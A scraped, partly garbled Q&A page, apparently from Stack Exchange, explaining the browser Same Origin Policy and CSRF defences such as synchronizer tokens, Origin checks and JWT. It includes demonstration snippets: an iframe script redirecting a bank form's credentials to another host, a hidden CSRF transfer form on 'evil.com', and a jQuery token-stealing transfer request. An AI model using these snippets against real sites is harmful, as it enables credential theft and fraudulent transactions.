I've read about Same Origin Policy
, but for a better understanding of the matter: could anyone please write a simple code (in any language) that will demonstrate an attack that SOP stops?
How was it possible to attack someone before SOP came about?
The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.
The same-origin policy restricts which network messages one origin can send to another. For example, the same-origin policy allows inter-origin HTTP requests with GET and POST methods but denies inter-origin PUT and DELETE requests.
The same-origin policy is an important security feature of any modern browser. Its purpose is to restrict cross-origin interactions between documents, scripts, or media files from one origin to a web page with a different origin. The HTTP protocol was extremely simple when it was first created.
Hence the name same-origin policy. The same-origin policy is active by default and most browsers provide good error messages when actions cannot be executed because of same-origin policy issues. For instance, the following script defines an illegal cross-origin HTTP request.
<iframe id="bank" src="https://yourbank.com"></iframe> <script> window.onload = function() { document.getElementById('bank').contentWindow.document.forms[0].action = 'http://example.com'; }; </script>
The Javascript code changes the form's action property (the destination, in a matter of speaking), so when you submit the form, you send your credentials to me, not your bank.
If I set up a PHP script on my server that redirects you to your bank, you won't even notice it.
With Same Origin Policy, this attack isn't possible. A site on my domain cannot read or modify the contents of the bank's website.
Attack example 1: Cross-Site Request Forgery (CSRF) with an HTML form
On page at evil.com
the attacker has put:
<form method="post" action="http://bank.com/trasfer"> <input type="hidden" name="to" value="ciro"> <input type="hidden" name="ammount" value="100000000"> <input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!"> </form>
Without further security measures, this would:
bank.com
which log you inIt is the synchronizer token pattern, alone, even without the SOP, prevents this from working.
Synchronizer token pattern
For every form on bank.com
, the developers generate a one time random sequence as a hidden parameter, and only accept the request if the server gets the parameter.
E.g., Rails' HTML helpers automatically add an authenticity_token
parameter to the HTML, so the legitimate form would look like:
<form action="http://bank.com/transfer" method="post"> <p><input type="hidden" name="authenticity_token" value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p> <p><input type="hidden" name="to" value="ciro"></p> <p><input type="hidden" name="ammount" value="100000000"></p> <p><button type="submit">Send 100000000$ to Ciro.</button></p> </form>
as mentioned at: Understanding the Rails Authenticity Token
So if evil.com
makes a post single request, he would never guess that token, and the server would reject the transaction!
See also: synchronizer token pattern at OWASP.
Attack example 2: Cross-Site Request Forgery (CSRF) with JavaScript AJAX
But then, what prevents the evil.com
from making 2 requests with JavaScript, just like a legitimate browser would do:
so evil.com
would try something like this (jQuery because lazy):
$.get('http://bank.com/transfer') // Parse HTML reply and extract token. $.post('http://bank.com/transfer', { to: 'ciro', ammount: '100000000', authenticity_token: extracted_token })
This is where the SOP comes into play. Although the $.get
and $.post
do actually send the authenticated request just like the HTML form, the sender's browser prevents the JavaScript code from reading the HTML reply back, because the request was sent to a separate domain!
The Chromium developer console shows an error for it of type:
Access to XMLHttpRequest at 'http://bank.com' from origin 'http://evil.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
which has been asked at: Why does my JavaScript code receive a "No 'Access-Control-Allow-Origin' header is present on the requested resource" error, while Postman does not?
Why not just not send cross request cookies instead?
I was asking myself: but what if implementations had a rule like: "allow any request, but only send cookies on current domain XHR"?
But that would still allow for another type of attack: when authentication is based not on cookies, but on source (IP) of the request.
For example, you are in your company's intranet and from there you can access an internal server, which is not visible from the outside and serves secret data.
Are all cross-origin requests forbidden?
Even forgetting CORS, no, we do them every day!
From MDN:
Cross-origin writes are typically allowed: links, redirects and form submissions.
Cross-origin embedding is typically allowed: images, external CSS and Javascript, iframes.
Cross-origin reads are typically not allowed: XHR (example above), iframe
read.
However, read access is often leaked by embedding. For example you can read the width and height of an embedded image, the actions of an embedded script, or the availability of an embedded resource (and thus possibly if the user is logged in or not on a given domain)
Other prevention approaches
X-Requested-With
: - What's the point of the X-Requested-With header? - https://security.stackexchange.com/questions/23371/csrf-protection-with-custom-headers-and-without-validating-token - Is an X-Requested-With header server check sufficient to protect against a CSRF for an ajax-driven application? Origin
header: https://security.stackexchange.com/questions/91165/why-is-the-synchronizer-token-pattern-preferred-over-the-origin-header-check-to Other prevention approaches: JWT
JSON Web Token is quite a popular alternative to cookies + synchronizer token pattern circa 2020.
What this method does is:
window.localStorage
Authentication: <token>
. Note that this can only be done from JavaScript.This method works because unlike cookies, localStorage
is only available when you make requests from the website itself (through JavaScript), thus dispensing the synchronizer token.
Then, when users first visit the website, they are initially logged off, and a dummy loading page shows.
Then the browser runs the JavaScript is just received from the server, reads localStorage
(now that we are on the correct domain already) and sends an authenticated GET request to an API path to get only the data without HTML, usually as JSON.
Finally the JavaScript renders that data on the browser.
This approach has become particularly popular due to the popularity of Single Page Applications, where the simplest implementation approach is this two-step get dummy page then populate it with the API data.
So this basically carries the tradeoffs:
See also
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With